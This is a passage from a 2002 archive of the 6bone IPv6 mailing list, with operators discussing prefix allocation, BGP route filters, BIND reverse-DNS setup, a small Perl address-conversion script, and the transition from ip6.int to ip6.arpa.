sure the prefix delegation mechanisms have been fully agreed yet? (it was
being discussed in IETF in March, but I haven't tracked this specific topic
since then).    

If you compare /48's (the future :) with single IPv4 addresses allocated by
ISPs now, an ISP getting a /32 is going to have (if you ignore the HD ratio)
65K customer prefixes, which in essence lets them serve as many customers
as a provider with (in old money) a Class B v4 allocation.   It's not a
*lot* of space so while the provider can go back to get the /32 made bigger,
they may be more tempted to assign the /48's from a pool.   The difference
being with v6 it is much easier to run services into the customer network,
so the demand for static addresses (or a very scalable DDNS :) would appear
higher.   If everyone offers it, I guess there won't be a premium.

Tim

From pasky@machine.sinus.cz Sun Aug 25 12:42:43 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
To: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
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Subject: [6bone] Re:  separating IPv6 experimental from production traffic
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Dear diary, on Wed, Aug 21, 2002 at 03:41:25PM CEST, I got a letter,
where Ronald van der Pol <Ronald.vanderPol@rvdp.org> told me, that...
> As you know I am increasingly worried about the quality of IPv6
> transport. I have far more problems reaching IPv6 destinations than
> I have reaching IPv4 destinations. This is not because I have a
> bad provider, but because my traffic is blackholed somewhere far
> away in the 'Net.
..snip..
> The current situation is that we have one network, the 6bone
> (although it is hard to define what it is exactly). The current
> 6bone is used for all kinds of experiments (even with old or alpha
> routing software) and is used as a playground for people new to
> IPv6 (no problem, it's very good, as long as it doesn't interfere
> with my production traffic).
> 
> I think we should work towards separating experiment and playing
> from production.  Experimenting needs to be done, but it should
> have minimal impact on production. This is what most :-) do in the
> IPv4 world. However, I do not propose to disconnect one from the
> other. On the contrary, there should be good connectivity between
> them. But I think we should stop the current situation where
> production traffic is routed *via* an experimental network. What I
> want is IPv6 transport that is treated similar to IPv4 transport.
> 
> In the current situation this is hard to accomplish by individual
> ISPs because of the tunnels all over the world and transit to
> everyone. So I guess we first have to reach concensus whether we
> want this separation or not.

As I already expressed few times before, let this be a natural process. Any
administrative decision and forced moves and peering terminations etc won't be
followed by the whole community anyway and they will only create big mess. As I
understand term "productional", it's basically about money ;-) - so, if you
want it stable and.. hmh, productional, why do you do transit through 6bone
people?  Do it through productional networks and you should do fine - do your
productional peers do transit through 6bone people? Ask them not to - if they
will refuse and their 6bone peers are unstable, they probably don't care about
stability and production a lot - are they right people to peer with? Or, can't
you filter 6bone prefix propagations from them if they let unstable 6bone
people do transit for them? Are people with RIR ("productional") allocations
making you problems? Then efforts to separate 6bone from productional networks
are irrelevant.

If your peers will hear your calling and do same as you, you will reach
technical and *effective* consensus, and the real IPv6 community "voted" about
solution of this problem. If they won't hear you, they probably don't care
about IPv6 much enough yet, and your efforts are useless yet anyway.

> At this stage I am only asking for separation of experiment from
> production. I am not saying anything yet about what prefixes to
> use where. I am also not saying yet what the experimental network
> (the 6bone) should be used for.  I guess all I am saying is: don't
> use the 6bone for production traffic. In my view in the new situation
> a site can have two kinds of peerings: 6bone peering or production
> peering. What should be prevented is traffic coming from the
> production network, going via the experimental network to a production
> destination.

Sure, if you want separation of productional and experimental network, first
thing you probably want to do is separation of allocations (pushing
experimental allocations to 3ffe::/16 and productional allocations out of
that), so that you can *identify* subjects you want to separate from ;-).

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
> Girls are like internet domain names, the ones I like are already taken.
Well, you can still get one from a strange country :-P
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From gert@Space.Net Tue Aug 27 05:42:53 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Hua Ning <nhua@biigroup.com>, John Fraizer <tvo@EnterZone.Net>,
   6bone@ISI.EDU
Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is UUNET?
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Hi,

On Sat, Aug 03, 2002 at 06:20:12PM +0200, Nicolas DEFFAYET wrote:
> ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe::/18 ge 24 le 24
> ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:4000::/18 ge 32 le 32
> ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:8000::/22 ge 28 le 28
> ipv6 prefix-list ipv6-ebgp-full-in permit 2001::/16 ge 29 le 35
> ipv6 prefix-list ipv6-ebgp-full-in permit 2002::/16
> ipv6 prefix-list ipv6-ebgp-full-in deny 0::/0
> 
> You can deny your prefix too.

Just want to add a detail here - your "deny 0::0/0" line is actually only
denying an exact match on the default route.  All other routes are denied
implicitely (by falling off the end of the list).

To deny everything explicitely, you can use:

ipv6 prefix-list ipv6-ebgp-full-in deny 0::/0 le 128


I've also started collecting example filter lists that people could use
as a starting point on http://www.space.net/~gert/RIPE/ipv6-filters.html
- if you see anything that's blatantly wrong, or just missing, please 
point it out to me.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46611  (45583)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From nicolas.deffayet@ndsoftware.net Tue Aug 27 07:24:34 2002
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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
	UUNET?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Gert Doering <gert@space.net>
Cc: Hua Ning <nhua@biigroup.com>, John Fraizer <tvo@EnterZone.Net>,
   6bone@ISI.EDU
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On Tue, 2002-08-27 at 14:42, Gert Doering wrote:
Hi,

> On Sat, Aug 03, 2002 at 06:20:12PM +0200, Nicolas DEFFAYET wrote:
> > ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe::/18 ge 24 le 24
> > ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:4000::/18 ge 32 le 32
> > ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:8000::/22 ge 28 le 28
> > ipv6 prefix-list ipv6-ebgp-full-in permit 2001::/16 ge 29 le 35
> > ipv6 prefix-list ipv6-ebgp-full-in permit 2002::/16
> > ipv6 prefix-list ipv6-ebgp-full-in deny 0::/0
> > 
> > You can deny your prefix too.
> 
> Just want to add a detail here - your "deny 0::0/0" line is actually only
> denying an exact match on the default route.  All other routes are denied
> implicitely (by falling off the end of the list).
> 
> To deny everything explicitely, you can use:
> 
> ipv6 prefix-list ipv6-ebgp-full-in deny 0::/0 le 128

Thanks for your remark.
I update my prefix-list.

> 
> 
> I've also started collecting example filter lists that people could use
> as a starting point on http://www.space.net/~gert/RIPE/ipv6-filters.html
> - if you see anything that's blatantly wrong, or just missing, please 
> point it out to me.
> 

For Juniper (JunOS):

policy-statement ipv6_ebgp {
    term a {
        from {
            protocol bgp;
            route-filter 3ffe::/18 upto /24;
            route-filter 3ffe:4000::/18 upto /32;
            route-filter 3ffe:8000::/22 upto /28;
            route-filter 2001::/16 upto /35;
            route-filter 2002::/16 exact;
        }
        then {
            accept;
        }
    }
    term b {
        then {
            reject;
        }
    }
}

Please correct my policy-statement if it's wrong.

Best Regards,

Nicolas DEFFAYET


From Raffaele.Dalbenzio@TILAB.COM Wed Aug 28 10:10:00 2002
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Date: Wed, 28 Aug 2002 19:08:37 +0200
From: "D'Albenzio Raffaele" <Raffaele.Dalbenzio@TILAB.COM>
Subject: RE: [6bone] pTLA request BUI - review closes 3 September 2002
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Hi all,

TILAB allow you to announce our /48 to other peers. The important thing
is that these other peers don't announce the /48  assigned to you from
TILAB will in the DFZ.

Regards,
Raffaele D'Albenzio.




> > Giacomo Cariello, jwk@bug.it
> 
> TILAB won't allow you to announce your 48 (as no-export) to other BGP
> peers?  I can understand them not wanting it in the DFZ but, 
> what you and
> your peers do, that remains isolated to the routing tables of 
> you and your
> peers is, IMHO, your business.


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From galania@ipv6.inictel.gob.pe Wed Aug 28 11:59:50 2002
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Date: Wed, 28 Aug 2002 13:54:54 -0500
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a consultation, use bind 9 and I have the following configuration in my 
named.conf

zone "\[x3FFE82408018/48].ip6.arpa" {
type master;
file "named.3ffex824";
};



now in/var/named/named.3ffex824 I have this:

@                                             IN      NS      
ipv6.inictel.gob.pe.
\[x100102012fffe2a7285/80]  IN      PTR     ipv6.inictel.gob.pe.

nslookup
 > 3ffe:8240:8018:1001:201:2ff:fe2a:7285
Server:        200.60.172.132
Address:    200.60.172.132#53

** server can't find \[x3FFE824080181001020102FFFE2A7285/128].ip6.arpa: 
SERVFAIL


help me !!

:)




From itojun@itojun.org Wed Aug 28 16:02:42 2002
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To: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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In-reply-to: galania's message of Wed, 28 Aug 2002 13:54:54 EST.  <3D6D1C7E.2050809@ipv6.inictel.gob.pe> 
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Subject: Re: [6bone] ping6 
From: itojun@iijlab.net
Date: Thu, 29 Aug 2002 08:02:36 +0900
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>a consultation, use bind 9 and I have the following configuration in my 
>named.conf
>zone "\[x3FFE82408018/48].ip6.arpa" {

	you no longer need to use bit string labels.  use nibbles (4 bit per
	label, like "a.b.c.d.1.2.3.4" for ip6.arpa as well, just like ip6.int.

itojun

From sridhar_narini@hotmail.com Fri Aug 30 01:35:05 2002
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>From: itojun@iijlab.net
>To: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
>CC: usagi-users@linux-ipv6.org, 6bone@mailman.isi.edu
>Subject: Re: [6bone] ping6 Date: Thu, 29 Aug 2002 08:02:36 +0900
>
> >a consultation, use bind 9 and I have the following configuration in my
> >named.conf
> >zone "\[x3FFE82408018/48].ip6.arpa" {
>
>	you no longer need to use bit string labels.  use nibbles (4 bit per
>	label, like "a.b.c.d.1.2.3.4" for ip6.arpa as well, just like ip6.int.
>
>itojun
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone








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From sam@dhs.org Mon Sep  2 04:25:26 2002
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From: "Sam Bingner" <sam@dhs.org>
To: <6bone@ISI.EDU>
Date: Mon, 2 Sep 2002 01:30:10 -1000
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Subject: [6bone] ip6 conversion script
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This is a multi-part message in MIME format.

------=_NextPart_000_0003_01C25220.48047D00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

I attached a little conversion tool written in perl to take as an argument a
regular ip6 address like 3ffe:2900:b::1 and output the ip6.int address and
full ipv6 address.

Don't know if you guys will find a use for it, but trying to figure out what
to put in DNS files gave me a headache ;)

if anybody wants to post it on a website somewhere, feel free... just let me
know :)

Sam

Syntax:

[thanotos@recluce src]# ip6info 3ffe:2900:b001:1::1/64
Full ip6 address: 3ffe:2900:b001:0001:0000:0000:0000:0001
ip6.rev address:
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.1.0.0.b.0.0.9.2.e.f.f.3.ip6.int.
ip6.rev prefix (domain): 1.0.0.0.1.0.0.b.0.0.9.2.e.f.f.3.ip6.int
ip6.rev suffix (host):   1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0

or

[thanotos@recluce src]# ip6info 3ffe:2900:b001:1::1
Full ip6 address: 3ffe:2900:b001:0001:0000:0000:0000:0001
ip6.rev address:
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.1.0.0.b.0.0.9.2.e.f.f.3.ip6.int.

------=_NextPart_000_0003_01C25220.48047D00
Content-Type: application/octet-stream;
	name="ip6info"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="ip6info"

#!/usr/bin/perl=0A=
#=0A=
#  IPv6 address conversion tool=0A=
#  by Sam Bingner <sam@bingner.com>=0A=
#  Copywrite (c) 2002, Sam Bingner=0A=
=0A=
use strict;=0A=
=0A=
my (@addr6, @ip6, $prefix);=0A=
=0A=
my @addr =3D split(/:/, $ARGV[0]);=0A=
=0A=
unless (length $addr[0]) {=0A=
    shift @addr;=0A=
}=0A=
=0A=
if ($addr[$#addr] =3D~ s/\/(\d{0,3})$//) {=0A=
    $prefix =3D $1;=0A=
}=0A=
=0A=
foreach my $section (@addr) {=0A=
   if (length $section > 0) {=0A=
       push @addr6, sprintf("%04x", hex($section));=0A=
       my @array =3D split(//, $addr6[$#addr6]);=0A=
       for (1..4) {=0A=
          unshift @ip6, shift @array;=0A=
       }=0A=
   } else {=0A=
       for (1..8 - $#addr) {=0A=
          push @addr6, '0000';=0A=
          unshift @ip6, (0,0,0,0);=0A=
       }=0A=
   }=0A=
};=0A=
=0A=
unless (scalar(@addr6) =3D=3D 8) {=0A=
    for ($#addr6..8) {=0A=
        push @addr6, '0000';=0A=
    }=0A=
}=0A=
=0A=
print "Full ip6 address: " . join(':', @addr6) . "\n";=0A=
print "ip6.rev address: " . join('.', @ip6) . ".ip6.int.\n";=0A=
if (defined $prefix) {=0A=
    print "ip6.rev prefix (domain): " . join('.', @ip6[(128 - $prefix) / =
4..$#ip6]) . ".ip6.int\n";=0A=
    print "ip6.rev suffix (host):   " . join('.', @ip6[0..(128 - =
$prefix) / 4 - 1]) . "\n";=0A=
}=0A=

------=_NextPart_000_0003_01C25220.48047D00--


From pasky@machine.sinus.cz Mon Sep  2 06:28:10 2002
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From: Petr Baudis <pasky@pasky.ji.cz>
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Subject: [6bone] Re:  ip6 conversion script
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Dear diary, on Mon, Sep 02, 2002 at 01:30:10PM CEST, I got a letter,
where Sam Bingner <sam@dhs.org> told me, that...
> I attached a little conversion tool written in perl to take as an argument a
> regular ip6 address like 3ffe:2900:b::1 and output the ip6.int address and
> full ipv6 address.
> 
> Don't know if you guys will find a use for it, but trying to figure out what
> to put in DNS files gave me a headache ;)

Only FYI, there already exists similiar tool by Keith Owens named ip6_int,
available ie. at http://www.bieringer.de/linux/IPv6/tools/ip6_int, which does
basically the same, but has less sophisticated output; on the other hand, it
can be conviently used as host -a `ip6_int 3ffe:1234::1`, which is big
advantage.

Maybe you could extend your tool to take some special parameter defining output
type, and assume the "short" output type when called as ip6_int? Then this tool
would probably definitively become fully backwards-compatible superior for
ip6_int and maybe NetBSD and other people would even include it instead of the
original ip6_int.

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
<Beeth> Girls are like internet domain names, the ones I like are already taken.
<honx> Well, you can still get one from a strange country :-P
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From nicolas.deffayet@ndsoftware.net Mon Sep  2 06:59:34 2002
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Subject: Re: [6bone] ip6 conversion script
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Sam Bingner <sam@dhs.org>
Cc: 6bone@ISI.EDU
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On Mon, 2002-09-02 at 13:30, Sam Bingner wrote:
> I attached a little conversion tool written in perl to take as an argument a
> regular ip6 address like 3ffe:2900:b::1 and output the ip6.int address and
> full ipv6 address.

ipv6calc of Peter Bieringer
(http://bieringer.mirrors.ndsoftwarenet.com/ipv6calc/) do that and have
more options.

Best Regards,

Nicolas DEFFAYET


From tony@lava.net Mon Sep  2 12:56:52 2002
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From: Antonio Querubin <tony@lava.net>
To: Petr Baudis <pasky@pasky.ji.cz>
Cc: Sam Bingner <sam@dhs.org>, <6bone@ISI.EDU>
Subject: Re: [6bone] Re:  ip6 conversion script
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On Mon, 2 Sep 2002, Petr Baudis wrote:

> Only FYI, there already exists similiar tool by Keith Owens named ip6_int,
> available ie. at http://www.bieringer.de/linux/IPv6/tools/ip6_int, which does
> basically the same, but has less sophisticated output; on the other hand, it
> can be conviently used as host -a `ip6_int 3ffe:1234::1`, which is big
> advantage.

The ability to do this is already built-in to more recent OS host commands
(eg FreeBSD).  Also, there are PERL modules that already handle IPv6
transparently such as Net::IP.  Some of these are lagging though as
they're still outputting ip6.int instead of ip6.arpa but that should
change over time.


From pasky@machine.sinus.cz Mon Sep  2 12:59:17 2002
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Cc: Sam Bingner <sam@dhs.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Re:  ip6 conversion script
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Dear diary, on Mon, Sep 02, 2002 at 09:56:50PM CEST, I got a letter,
where Antonio Querubin <tony@lava.net> told me, that...
> On Mon, 2 Sep 2002, Petr Baudis wrote:
> 
> > Only FYI, there already exists similiar tool by Keith Owens named ip6_int,
> > available ie. at http://www.bieringer.de/linux/IPv6/tools/ip6_int, which does
> > basically the same, but has less sophisticated output; on the other hand, it
> > can be conviently used as host -a `ip6_int 3ffe:1234::1`, which is big
> > advantage.
> 
> The ability to do this is already built-in to more recent OS host commands
> (eg FreeBSD).

Yes, but ie. BIND8 has still many users.

> Also, there are PERL modules that already handle IPv6 transparently such as
> Net::IP.

That's good for them.. but basically, this still works and people are used to
it ;-).

> Some of these are lagging though as they're still outputting ip6.int instead
> of ip6.arpa but that should change over time.

That I consider a Good Thing (tm), from my egoistic 6bone-user point of view
;-).

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
<Beeth> Girls are like internet domain names, the ones I like are already taken.
<honx> Well, you can still get one from a strange country :-P
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From daniel@unix.za.net Mon Sep  2 15:47:23 2002
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Date: Tue, 3 Sep 2002 00:46:44 +0200 (SAST)
From: Daniel Schroder <daniel@unix.za.net>
To: Petr Baudis <pasky@pasky.ji.cz>
cc: Antonio Querubin <tony@lava.net>, Sam Bingner <sam@dhs.org>,
   <6bone@ISI.EDU>
Subject: Re: [6bone] Re:  ip6 conversion script
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  Sorry .. I'm loosing the plot again .. is the road on ipv6.int or
  ipv6.arpa ?


--Daniel Schroder (Private email daniel@unix.os.org.za)
  Unix users .. South Africa

To	: Antonio Querubin
From	: Petr Baudis
date	: Sep 2
Address	: pasky@pasky.ji.cz

(A good friend will bail you out of jail,But your
best friend will be sitting next to you
saying: 'That was f*cking awesome!)

On Mon, 2 Sep 2002, Petr Baudis wrote:

> Dear diary, on Mon, Sep 02, 2002 at 09:56:50PM CEST, I got a letter,
> where Antonio Querubin <tony@lava.net> told me, that...
> > On Mon, 2 Sep 2002, Petr Baudis wrote:
> >
> > > Only FYI, there already exists similiar tool by Keith Owens named ip6_int,
> > > available ie. at http://www.bieringer.de/linux/IPv6/tools/ip6_int, which does
> > > basically the same, but has less sophisticated output; on the other hand, it
> > > can be conviently used as host -a `ip6_int 3ffe:1234::1`, which is big
> > > advantage.
> >
> > The ability to do this is already built-in to more recent OS host commands
> > (eg FreeBSD).
>
> Yes, but ie. BIND8 has still many users.
>
> > Also, there are PERL modules that already handle IPv6 transparently such as
> > Net::IP.
>
> That's good for them.. but basically, this still works and people are used to
> it ;-).
>
> > Some of these are lagging though as they're still outputting ip6.int instead
> > of ip6.arpa but that should change over time.
>
> That I consider a Good Thing (tm), from my egoistic 6bone-user point of view
> ;-).
>
> --
>
> 				Petr "Pasky" Baudis
>
> * ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
> * IRCnet operator                  * FreeCiv AI occassional hacker
> .
> <Beeth> Girls are like internet domain names, the ones I like are already taken.
> <honx> Well, you can still get one from a strange country :-P
> .
> Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From bmanning@ISI.EDU Mon Sep  2 17:04:04 2002
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200209030003.g8303fv00683@boreas.isi.edu>
Subject: Re: [6bone] Re:  ip6 conversion script
In-Reply-To: <20020903004513.L63780-100000@unix.za.net> from Daniel Schroder at "Sep 3, 2 00:46:44 am"
To: daniel@unix.za.net (Daniel Schroder)
Date: Mon, 2 Sep 2002 17:03:41 -0700 (PDT)
Cc: pasky@pasky.ji.cz, tony@lava.net, sam@dhs.org, 6bone@ISI.EDU
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	ip6.int - the original anchor for v6 space. All delegations
		can be found here.
	ip6.arpa - the more recent anchor for v6 space. Some delegations
		can be found here. Some v6 delegations will never be
		found here.



% 
%   Sorry .. I'm loosing the plot again .. is the road on ipv6.int or
%   ipv6.arpa ?
% 
% 
% --Daniel Schroder (Private email daniel@unix.os.org.za)
%   Unix users .. South Africa
% 
% To	: Antonio Querubin
% From	: Petr Baudis
% date	: Sep 2
% Address	: pasky@pasky.ji.cz
% 
% (A good friend will bail you out of jail,But your
% best friend will be sitting next to you
% saying: 'That was f*cking awesome!)
% 
% On Mon, 2 Sep 2002, Petr Baudis wrote:
% 
% > Dear diary, on Mon, Sep 02, 2002 at 09:56:50PM CEST, I got a letter,
% > where Antonio Querubin <tony@lava.net> told me, that...
% > > On Mon, 2 Sep 2002, Petr Baudis wrote:
% > >
% > > > Only FYI, there already exists similiar tool by Keith Owens named ip6_int,
% > > > available ie. at http://www.bieringer.de/linux/IPv6/tools/ip6_int, which does
% > > > basically the same, but has less sophisticated output; on the other hand, it
% > > > can be conviently used as host -a `ip6_int 3ffe:1234::1`, which is big
% > > > advantage.
% > >
% > > The ability to do this is already built-in to more recent OS host commands
% > > (eg FreeBSD).
% >
% > Yes, but ie. BIND8 has still many users.
% >
% > > Also, there are PERL modules that already handle IPv6 transparently such as
% > > Net::IP.
% >
% > That's good for them.. but basically, this still works and people are used to
% > it ;-).
% >
% > > Some of these are lagging though as they're still outputting ip6.int instead
% > > of ip6.arpa but that should change over time.
% >
% > That I consider a Good Thing (tm), from my egoistic 6bone-user point of view
% > ;-).
% >
% > --
% >
% > 				Petr "Pasky" Baudis
% >
% > * ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
% > * IRCnet operator                  * FreeCiv AI occassional hacker
% > .
% > <Beeth> Girls are like internet domain names, the ones I like are already taken.
% > <honx> Well, you can still get one from a strange country :-P
% > .
% > Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/
% > _______________________________________________
% > 6bone mailing list
% > 6bone@mailman.isi.edu
% > http://mailman.isi.edu/mailman/listinfo/6bone
% >
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From aangel@myrealbox.com Mon Sep  2 22:50:44 2002
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Subject: Re: [6bone] Re:  ip6 conversion script
References: <200209030003.g8303fv00683@boreas.isi.edu>
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Bill Manning wrote:
> 	ip6.int - the original anchor for v6 space. All delegations
> 		can be found here.

Add: deprecated in favor of ip6.arpa.

> 	ip6.arpa - the more recent anchor for v6 space. Some delegations
> 		can be found here. Some v6 delegations will never be
> 		found here.

What makes you think some delegations will never be found here?


From gert@Space.Net Tue Sep  3 00:40:29 2002
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To: Bill Manning <bmanning@ISI.EDU>
Cc: Daniel Schroder <daniel@unix.za.net>, pasky@pasky.ji.cz, tony@lava.net,
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Subject: Re: [6bone] Re:  ip6 conversion script
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hi,

On Mon, Sep 02, 2002 at 05:03:41PM -0700, Bill Manning wrote:
> 	ip6.arpa - the more recent anchor for v6 space. Some delegations
> 		can be found here. Some v6 delegations will never be
> 		found here.

Why?

I know that *today*, 3ffe isn't delegated under ip6.arpa, but besides
political bickering, I see no reason why this can't be fixed in the future.

Having two reverse domains, one of them "official" and the other one
"complete" sucks big time.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From randy@psg.com Tue Sep  3 07:41:43 2002
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Cc: Bill Manning <bmanning@ISI.EDU>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Re:  ip6 conversion script
References: <200209030003.g8303fv00683@boreas.isi.edu>
	<3D744DA4.1000302@myrealbox.com>
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>> 	ip6.arpa - the more recent anchor for v6 space. Some delegations
>> 		can be found here. Some v6 delegations will never be
>> 		found here.
> What makes you think some delegations will never be found here?

when ip6.int is removed in less than two years, they won't be found
at all.  in american we have an expression "to cut one's nose off
to spite one's face."

randy


From fink@es.net Tue Sep  3 08:14:55 2002
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>,
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EURO6IX has been allocated pTLA 3FFE:4011::/32 having finished its 2-week 
review period. This pTLA is allocated specifically for the first attempt to 
try the new type of exchange-based aggregation talked about in RFC2374, "An 
IPv6 Aggregatable Global Unicast Address Format".

I would appreciate seeing a report in one year detailing the lessons 
learned about exchange-based aggregation so that the IPv6 operational 
community can benefit.

Note that it will take a short while for a EURO6IX IPv6-site and pTLA 
inet6num entry to appear in the 6bone registry as they have yet to be 
created. However, the pTLA registration is listed on:

   <http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From gert@Space.Net Tue Sep  3 09:35:18 2002
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Cc: "Aaron J. Angel" <aangel@myrealbox.com>, Bill Manning <bmanning@ISI.EDU>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] Re:  ip6 conversion script
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hi,

On Tue, Sep 03, 2002 at 07:41:38AM -0700, Randy Bush wrote:
> >> 	ip6.arpa - the more recent anchor for v6 space. Some delegations
> >> 		can be found here. Some v6 delegations will never be
> >> 		found here.
> > What makes you think some delegations will never be found here?
> 
> when ip6.int is removed in less than two years, they won't be found
> at all.  in american we have an expression "to cut one's nose off
> to spite one's face."

this still doesn't answer the question *why* those delegations are not 
visible under ip6.arpa.

These political child games are *hurting* IPv6 deployment.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From randy@psg.com Tue Sep  3 12:11:22 2002
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   6bone@mailman.isi.edu
Subject: Re: [6bone] Re:  ip6 conversion script
References: <200209030003.g8303fv00683@boreas.isi.edu>
	<3D744DA4.1000302@myrealbox.com>
	<E17mEs6-0001qm-00@roam.psg.com>
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> this still doesn't answer the question *why* those delegations are not 
> visible under ip6.arpa.

ask your local RIR

randy


From gert@Space.Net Tue Sep  3 12:19:58 2002
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From: Gert Doering <gert@space.net>
To: Randy Bush <randy@psg.com>
Cc: Gert Doering <gert@space.net>, "Aaron J. Angel" <aangel@myrealbox.com>,
   Bill Manning <bmanning@ISI.EDU>, 6bone@mailman.isi.edu
Subject: Re: [6bone] Re:  ip6 conversion script
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Hi,

On Tue, Sep 03, 2002 at 12:11:18PM -0700, Randy Bush wrote:
> > this still doesn't answer the question *why* those delegations are not 
> > visible under ip6.arpa.
> ask your local RIR

What's wrong with delegating e.f.f.3.ip6.arpa to the same set of servers
that hold e.f.f.3.ip6.int?  No need to involve RIRs here unless the
RIRs actually manage the space - which is currently under discussion,
but not yet established.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46812 (46611)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From randy@psg.com Tue Sep  3 12:37:04 2002
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Subject: Re: [6bone] Re:  ip6 conversion script
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>>> this still doesn't answer the question *why* those delegations are not 
>>> visible under ip6.arpa.
>> ask your local RIR
> What's wrong with delegating e.f.f.3.ip6.arpa to the same set of servers
> that hold e.f.f.3.ip6.int?

nothing that comes to mind right off

> No need to involve RIRs here

who do you think has to delagate?

randy


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From: "Michael H. Warfield" <mhw@wittsend.com>
To: Gert Doering <gert@space.net>
Cc: Randy Bush <randy@psg.com>, "Aaron J. Angel" <aangel@myrealbox.com>,
   Bill Manning <bmanning@ISI.EDU>, 6bone@mailman.isi.edu
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On Tue, Sep 03, 2002 at 09:19:55PM +0200, Gert Doering wrote:
> Hi,

> On Tue, Sep 03, 2002 at 12:11:18PM -0700, Randy Bush wrote:
> > > this still doesn't answer the question *why* those delegations are not 
> > > visible under ip6.arpa.
> > ask your local RIR

> What's wrong with delegating e.f.f.3.ip6.arpa to the same set of servers
> that hold e.f.f.3.ip6.int?  No need to involve RIRs here unless the
> RIRs actually manage the space - which is currently under discussion,
> but not yet established.

	Ok...  So ask IANA.  They hold ip6.arpa.  Somebody has to
enter that delegation into the root servers somewhere.  I think they
be who.

> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  46812 (46611)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  /\/\|=mhw=|\/\/       |  (678) 463-0932   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

From gert@Space.Net Wed Sep  4 01:22:07 2002
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Cc: Gert Doering <gert@space.net>, "Aaron J. Angel" <aangel@myrealbox.com>,
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Subject: Re: [6bone] Re:  ip6 conversion script
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Hi,

On Tue, Sep 03, 2002 at 12:37:01PM -0700, Randy Bush wrote:
> >>> this still doesn't answer the question *why* those delegations are not 
> >>> visible under ip6.arpa.
> >> ask your local RIR
> > What's wrong with delegating e.f.f.3.ip6.arpa to the same set of servers
> > that hold e.f.f.3.ip6.int?
> nothing that comes to mind right off

So why do you expect those delegations to be never visible under ip6.int?

> > No need to involve RIRs here
> who do you think has to delagate?

$ dig ip6.arpa soa
[..]
;; ANSWER SECTION:
ip6.arpa.		23h30m IN SOA	dns1.icann.org. hostmaster.icann.org. (
					2002071701	; serial
					1H		; refresh
					30M		; retry
					1W		; expiry
					3H )		; minimum
;; ANSWER SECTION:
